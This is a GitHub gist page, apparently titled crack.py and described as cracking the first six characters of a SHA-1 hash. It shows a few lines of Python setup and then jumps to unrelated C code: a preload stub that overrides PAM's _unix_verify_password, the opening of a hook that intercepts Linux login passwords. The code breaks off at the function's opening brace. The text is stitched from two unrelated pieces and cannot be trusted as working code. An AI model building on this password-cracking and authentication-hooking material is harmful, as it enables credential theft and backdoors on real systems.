Skip to content

Instantly share code, notes, and snippets.

View sudoaza's full-sized avatar

aza sudoaza

  • Buenos Aires, Argentina
View GitHub Profile
@sudoaza
sudoaza / crack.py
Created September 16, 2017 03:26
crack the first 6 chars of a sha 1 adapted from here http://rextester.com/LQHCX48992
import hashlib #for converting passwords and guesses to hashes
import time #for timing the program and counting the passwords/ second
#variables
password = ''
passwordHash = ''
timeOld = time.time()
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <string.h>
#include <security/pam_modutil.h>
typedef int (*orig_func)(pam_handle_t * pamh, const char *name, const char *p, unsigned int ctrl);
int _unix_verify_password(pam_handle_t * pamh, const char *name, const char *p, unsigned int ctrl) {